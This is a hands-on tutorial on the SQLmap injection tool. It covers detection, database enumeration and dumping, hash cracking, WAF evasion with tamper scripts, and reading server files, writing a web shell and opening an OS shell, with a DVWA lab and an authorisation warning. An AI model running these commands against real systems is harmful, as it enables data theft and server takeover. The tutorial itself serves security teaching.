The Comprehensive Guide to SQLmap
If you have spent any time in web application security, you already know that SQL injection refuses to die. It has been near the top of the OWASP risk lists for over two decades, and I still find it on live engagements in 2026: in legacy admin panels, in mobile app backends, in that one internal tool nobody wants to touch.
SQLmap is the tool that turns a single suspicious parameter into a full database dump in minutes. It is powerful, it is free, and it is one of the first serious tools most people learn when they get into penetration testing or bug bounty hunting.
Here is the problem. Most beginners run sqlmap -u "url" --dbs, get a result, and never learn what actually happened underneath. Then they hit a target with a WAF, or a blind injection point, or a POST request behind authentication, and they are completely stuck because they only ever memorised one command.
This guide fixes that. We will go from what SQLmap is, through the commands you will actually use, into a hands-on lab, WAF evasion, the mistakes I see constantly, and the pro habits that separate someone who runs SQLmap from someone who understands it.
Ethical note: Every technique here is for authorised security testing and education only. Running SQLmap against a system you do not own or have explicit written permission to test is a criminal offence under computer misuse laws worldwide. Build a lab. Use it.
Quick answer: what is SQLmap?
SQLmap is a free, open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities. You point it at a parameter you suspect is injectable, and it tests a battery of injection techniques (boolean-based blind, time-based blind, error-based, UNION query, and stacked queries) to confirm the flaw, fingerprint the backend database, and then enumerate and extract data from it. With sufficient database privileges it can also read and write files on the server and execute operating-system commands.
It supports MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, MariaDB, and many more, runs anywhere Python runs, and ships pre-installed on Kali Linux. It is the industry-standard tool for SQL injection testing in authorised assessments.
In one line: SQLmap automates everything tedious about exploiting SQL injection, so you can focus on impact rather than payload syntax.
What SQL injection actually is (the 60-second refresher)
You cannot use SQLmap well without understanding the thing it exploits. So, briefly.
SQL injection happens when an application builds a database query by gluing user input directly into the SQL string, instead of separating code from data. Consider this textbook vulnerable query:
$query = "SELECT * FROM users WHERE id = '" . $_GET['id'] . "'";
If you send id=1, the query becomes ... WHERE id = '1'. Harmless.
But send id=1' OR '1'='1 and the query becomes:
SELECT * FROM users WHERE id = '1' OR '1'='1'
Now the WHERE clause is always true, and the application returns every row in the table. The input was treated as code, not data. That is the entire bug, and everything SQLmap does is an automated, industrial-scale version of probing that boundary.
If you want the deeper theory, the OWASP SQL Injection page and the Wikipedia entry on SQL injection are both solid references. For a structured way to practice manual injection, PortSwigger’s Web Security Academy is the best free resource available.
We cover injection more broadly in our OWASP Top 10 web app security guide, if you want the wider context.
Installing SQLmap
If you are on Kali Linux or Parrot OS, it is already installed. Type sqlmap and you are done.
On anything else with Python 3, pull it straight from the official repository:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --version
What each part does:
git clone --depth 1grabs only the latest version without the full history, so it is fasterpython sqlmap.pyruns the tool. There’s nothing to compile, since it’s pure Python--versionconfirms it works
The official project site is sqlmap.org, and the source lives on GitHub. Pull updates regularly, since the maintainers add detection techniques and tamper scripts often.
Screenshot suggestion: A terminal showing
sqlmap --versionoutput with the banner and version string, so readers can confirm a working install at a glance.
SQLmap core workflow: from suspicion to data
Every SQLmap engagement follows the same logical progression. Learn the shape of it and the individual commands stop feeling like magic incantations.
- Detect: confirm a parameter is injectable
- Fingerprint: identify the backend DBMS, version, and OS
- Enumerate: list databases, then tables, then columns
- Extract: dump the data you are authorised to retrieve
- Escalate (where in scope): read/write files, attempt OS command execution
We will walk each stage with real commands.
Stage 1: basic detection
The simplest possible test against a GET parameter:
sqlmap -u "https://target.com/product.php?id=1" --batch
Breaking it down:
-uspecifies the target URL. Note the injectable parameterid--batchruns non-interactively, taking the default answer at every prompt
SQLmap will probe the id parameter, report which injection techniques work, and tell you the backend database. When you are learning, drop --batch so you see every question it asks. Those prompts teach you how the tool reasons.
Stage 2: enumerate the databases
Once a parameter is confirmed injectable:
sqlmap -u "https://target.com/product.php?id=1" --dbs --batch
--dbsenumerates all databases the current DB user can see
Typical output looks like:
available databases [3]:
[*] information_schema
[*] mysql
[*] shopdb
information_schema and mysql are system databases. shopdb is the application’s data, and that is where you look next.
Stage 3: drill into tables and columns
# List tables inside the application database
sqlmap -u "https://target.com/product.php?id=1" -D shopdb --tables --batch
# List columns inside a specific table
sqlmap -u "https://target.com/product.php?id=1" -D shopdb -T users --columns --batch
-D shopdbselects the database-T usersselects the table--tables/--columnsenumerate the respective level
Stage 4: dump the data
sqlmap -u "https://target.com/product.php?id=1" \
-D shopdb -T users -C username,password,email \
--dump --batch
-Climits extraction to specific columns, which is cleaner and faster than dumping the whole table--dumpextracts the selected data
If SQLmap recognises the password hash format, it will even offer to run a built-in dictionary attack against the hashes during the dump. Convenient, but for serious cracking you will want Hashcat with a proper wordlist.
Pro habit: Never
--dumpan entire database on a real engagement “to see what’s there.” Extract the minimum needed to prove impact. Mass-dumping production customer data, even with authorisation, is reckless and often breaches the rules of engagement.
Handling real-world targets
The basic GET-parameter example is the easy case. Real targets are messier. Here is how to deal with what you will actually encounter.
POST requests and form data
Most login forms and search boxes submit via POST. Pass the body with --data:
sqlmap -u "https://target.com/login.php" \
--data="username=admin&password=test" \
--batch
SQLmap tests every parameter in the body. To target one specifically, mark it with an asterisk: --data="username=admin*&password=test".
Authenticated areas (cookies and headers)
Injection points often sit behind a login. Feed SQLmap your session:
sqlmap -u "https://target.com/account.php?id=5" \
--cookie="PHPSESSID=abc123; logged_in=true" \
--batch
For token-based APIs, pass arbitrary headers with -H:
sqlmap -u "https://api.target.com/v1/orders?id=10" \
-H "Authorization: Bearer eyJhbGci..." \
--batch
If you are testing APIs specifically, our API security testing guide covers the broader methodology around auth, rate limits, and endpoint discovery.
The request-file method (my default)
This is the single most useful technique in the whole tool, and most beginners never learn it.
Capture the raw HTTP request (from Burp Suite, your browser’s dev tools, or anywhere), save it to a file, and hand the whole thing to SQLmap:
sqlmap -r request.txt --batch
A request.txt looks like a normal HTTP request:
POST /search HTTP/1.1
Host: target.com
Cookie: PHPSESSID=abc123
Content-Type: application/x-www-form-urlencoded
query=laptop&category=2
Why this is better: every header, cookie, content type, and parameter is preserved exactly as the real application sees it, so there’s no quoting to fight and no token to forget. For anything authenticated or non-trivial, I reach for -r first.
Screenshot suggestion: Burp Suite’s “Copy to file” / “Save item” context menu on an intercepted request, showing how to produce the
request.txtSQLmap consumes.
Tuning detection depth: —level and —risk
sqlmap -r request.txt --level=5 --risk=3 --batch
--level(1 to 5, default 1) controls how many payloads and injection points are tested. Higher levels also test cookies, headers, and User-Agent. More thorough, much slower.--risk(1 to 3, default 1) controls how dangerous the payloads are. Level 3 includesOR-based and time-heavy payloads that can modify data. Never use--risk=3against production without understanding the consequences.
Start low. Only raise these when a parameter looks promising but the default scan finds nothing.
Practical lab: SQLmap against DVWA
Theory is cheap. Let’s actually run it, safely. We will use DVWA (Damn Vulnerable Web Application), the same lab target we use throughout our website defacement walkthrough.
Environment setup
docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa
- Browse to
http://localhost:8080 - Log in with
admin/password - Set DVWA Security to Low to start
- Initialise the database from the setup page
Exercise 1: capture the request
DVWA’s SQL injection page sends id via GET and requires a session cookie. The cleanest approach is the request file.
- In Burp Suite, intercept the request to
/vulnerabilities/sqli/?id=1&Submit=Submit - Save it as
dvwa.txt
It will contain something like:
GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: localhost:8080
Cookie: PHPSESSID=...; security=low
Exercise 2: detect and enumerate
# Confirm injection and identify the DBMS
sqlmap -r dvwa.txt --batch
# Enumerate databases
sqlmap -r dvwa.txt --dbs --batch
# Drill into the DVWA database
sqlmap -r dvwa.txt -D dvwa --tables --batch
You will see the users table appear. That is the target.
Exercise 3: dump and crack
sqlmap -r dvwa.txt -D dvwa -T users \
-C user,password --dump --batch
SQLmap dumps the users and recognises the MD5 hashes. Let it run its built-in dictionary attack, or crack them yourself:
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
-m 0is MD5 mode-a 0is dictionary attack moderockyou.txtis the standard 14-million-entry wordlist that ships with Kali
The DVWA passwords (password, abc123, letmein) fall instantly. That is the entire point of the exercise: it shows why unsalted MD5 for password storage is indefensible, and why a single injectable parameter can mean total account compromise.
Exercise 4: raise the difficulty
Set DVWA Security to Medium, which switches the form to POST and adds basic filtering. Re-capture the request and run again. You will see how the request-file workflow handles the change with zero extra effort, while a hardcoded -u command would break. That contrast is the lesson.
Bypassing a WAF with tamper scripts
Sooner or later a target sits behind a web application firewall that blocks obvious SQL injection payloads. SQLmap ships with tamper scripts: small transformers that rewrite payloads to slip past signature filters.
sqlmap -r request.txt \
--tamper=space2comment,between,randomcase \
--random-agent \
--delay=2 \
--batch
What each piece does:
--tamper=space2commentreplaces spaces with/**/comments so naive space-based filters miss the payloadbetweenrewrites>comparisons usingBETWEEN, dodging filters that block specific operatorsrandomcaserandomises keyword casing (SeLeCt) to defeat case-sensitive signatures--random-agentrotates the User-Agent so traffic does not scream “SQLmap”--delay=2waits two seconds between requests to avoid tripping rate limits
List every available tamper script with:
sqlmap --list-tampers
A word of realism: tamper scripts bypass lazy filtering. A properly configured WAF in front of a backend that uses parameterised queries will defeat SQLmap entirely, and that is exactly how it should be. WAF evasion is a legitimate engagement technique, not a guaranteed key.
Screenshot suggestion: Output of
sqlmap --list-tampersshowing the catalogue of scripts with their one-line descriptions.
Going further: files and OS shells
When the database user has high privileges and conditions are right, SQLmap reaches beyond data into the server itself. These are the highest-impact and highest-risk features in the tool.
# Read a file from the server
sqlmap -r request.txt --file-read="/etc/passwd" --batch
# Write a file to the server
sqlmap -r request.txt \
--file-write="shell.php" \
--file-dest="/var/www/html/shell.php" \
--batch
# Attempt an interactive OS command shell
sqlmap -r request.txt --os-shell --batch
--file-read/--file-writemove files in or out via the database--os-shelltries to obtain a command shell, typically by writing a payload to the web root and calling it
--os-shell needs three things to line up: a high-privilege DB user (for example FILE privilege on MySQL), a writable web root directory, and a known web root path. When it works, you have gone from one injectable parameter to remote command execution on the server.
That is also exactly why this is the line you do not cross casually. Reading /etc/passwd or dropping a web shell on a production box is a fundamentally different action from dumping a column, both technically and legally. Only ever touch these flags inside a clearly scoped, written authorisation. If you find injection on a bug bounty target, dumping the database version is usually enough to prove impact. Escalating to a shell may breach the programme rules and land you in serious trouble.
Common mistakes beginners make
1. Memorising one command and panicking when it fails
sqlmap -u "url" --dbs works on the easy 10% of targets. The other 90% need POST data, cookies, headers, or a request file. Learn the workflow, not a single line.
2. Running everything with —batch from day one
--batch hides every decision SQLmap makes. While you are learning, run without it and read each prompt. The questions about which technique to extend, which payload to try, and how to handle a redirect are a free education in how injection actually works.
3. Cranking —level=5 —risk=3 on the first run
This is slow and noisy, and --risk=3 can modify data. Start at the defaults. Escalate depth only on parameters that show promise. Throwing maximum settings at everything wastes hours and lights up every alert on the target.
4. Dumping entire production databases “to be thorough”
This is the mistake that gets testers fired and sued. Extracting a row to prove impact is testing. Exfiltrating an entire customer table is closer to the breach you were hired to prevent. Extract the minimum that demonstrates the finding.
5. Forgetting they are extremely loud
Default SQLmap traffic is trivially detectable: the User-Agent literally contains “sqlmap”. If stealth matters for your engagement, you need --random-agent, --delay, throttling, and tamper scripts. Assume everything is logged.
6. Trusting SQLmap to find everything
SQLmap is brilliant at exploiting injection points you give it. It is not a replacement for understanding the application, finding the parameters in the first place, or testing logic SQLmap cannot reach. A scanner is a force multiplier, not a brain.
7. Skipping manual SQL injection entirely
If you have never exploited an injection by hand, you will not understand why SQLmap fails when it fails, or how to fix a payload it gets wrong. Learn the manual technique first, then automate it.
Pro tips
- Save your session. SQLmap caches everything in
~/.local/share/sqlmap/output/. Re-running against the same target resumes instantly instead of re-detecting from scratch. Use--flush-sessiononly when you genuinely want a clean run. - Use
--current-user,--current-db, and--is-dbafirst. These three quick checks tell you the DB user, the active database, and whether you have admin rights, before you commit to a long enumeration.--is-dbareturningTruetells you file and OS features are on the table. - Pair it with Burp Suite. Find the parameter in Burp, save the request, and let SQLmap exploit it. The two tools together are far stronger than either alone.
--threadsspeeds up blind injection. Boolean and time-based extraction are slow because they pull data character by character.--threads=10parallelises requests and can cut extraction time dramatically, but raise it carefully against fragile targets.--proxyroutes everything through Burp (--proxy="http://127.0.0.1:8080") so you can watch exactly what SQLmap sends. Invaluable for learning and for debugging why a scan finds nothing.--dump-format=CSVgives you clean exports for your report instead of ASCII tables.- Read the verbose output.
-v 3shows the actual payloads being sent. That is how you go from “the tool did something” to “I understand the injection.” - Test your own apps before you ship them. If you build software, run SQLmap against a staging copy. Finding your own injection is far cheaper than a customer finding it. Our free security tools and a scoping call are both there if you want a second set of eyes.
Frequently asked questions
Is SQLmap better than manual SQL injection? Neither is “better.” They serve different purposes. Manual injection builds the understanding you need to interpret results and handle edge cases. SQLmap automates the repetitive extraction once you have found and understood the flaw. Strong testers do both.
Why does SQLmap say a parameter is not injectable when I think it is?
Common reasons: the injection needs a higher --level to be reached (try cookies/headers), the payload is being filtered by a WAF (try tamper scripts), the parameter needs a specific value or technique, or it genuinely is not injectable. Run with -v 3 --proxy through Burp to see what is actually happening.
Can SQLmap exploit NoSQL injection? No. SQLmap targets SQL databases specifically. NoSQL injection (MongoDB and similar) uses different techniques and different tooling. Do not assume a clean SQLmap result means the app is free of all injection.
How long does a SQLmap scan take?
Anything from seconds to hours. Error-based and UNION-based extraction are fast. Boolean-based and time-based blind injection are slow because data comes out one character at a time, and a --delay makes this dramatically slower still. --threads helps.
Does using SQLmap make me a hacker? Running a tool is not skill. Understanding why the vulnerability exists, how the exploit works, and how to fix it is the skill. SQLmap is a power tool; knowing where and how to use it is the craft. If you want that depth, our training programme builds it from the ground up.
Will updating SQLmap improve my results?
Often, yes. The maintainers regularly add detection techniques and tamper scripts. Pull updates with git pull inside the SQLmap directory before important engagements.
Is it safe to run SQLmap on a client’s production site?
Only with explicit written authorisation, and even then with care. Avoid --risk=3, avoid mass dumps, prefer read-only confirmation of impact, and coordinate timing with the client. Production testing carries real risk of disruption.
Key takeaways
- SQLmap automates SQL injection detection and exploitation: detect, fingerprint, enumerate, extract, and (where authorised) escalate to files and OS commands.
- The workflow matters more than any single command. Learn the five stages and you can handle GET, POST, authenticated, and API targets.
- The request-file method (
-r request.txt) is the most useful skill in the tool. It preserves the exact request and removes quoting and session headaches. --leveland--riskcontrol thoroughness and danger. Start low, escalate only on promising parameters, and never use--risk=3carelessly on production.- Tamper scripts bypass lazy filtering, not real defences. Parameterised queries plus a tuned WAF defeat SQLmap entirely.
- File read/write and
--os-shellare the highest-impact, highest-risk features, strictly authorisation-only. - Authorisation is the line between security testing and a crime. Build a lab, get it in writing, and extract only what proves impact.
Final thoughts
SQLmap is one of those tools that looks like a cheat code the first time you use it. You paste a URL, and out comes a database. It feels like magic.
It is not magic. It is a very good implementation of techniques you can, and should, learn to perform by hand. The testers I respect most are not the ones who memorised the longest SQLmap command. They are the ones who can look at a failed scan, understand why the injection is not firing, hand-craft the payload that proves it, and only then let SQLmap automate the extraction.
So use SQLmap. It will save you hours, and it belongs in every pentester’s and bug bounty hunter’s toolkit. But spend the time underneath it too. Read the verbose output. Run it through Burp and watch the payloads. Break a deliberately vulnerable app by hand first, then let the tool do the boring part.
And the boring-but-true defensive note, because I always end here: every single injection SQLmap can exploit is closed by one habit on the development side: parameterised queries. String concatenation and blocklists don’t fix it, and hoping a WAF catches it doesn’t either. Bound parameters separate code from data, and the entire class of bug disappears. If you build software as well as break it, that is the takeaway worth keeping.
Practice in the lab. Get authorisation in writing. Extract only what you need. That is the whole game.
Written by Hassan Ansari
Ethical Hacker | Mentor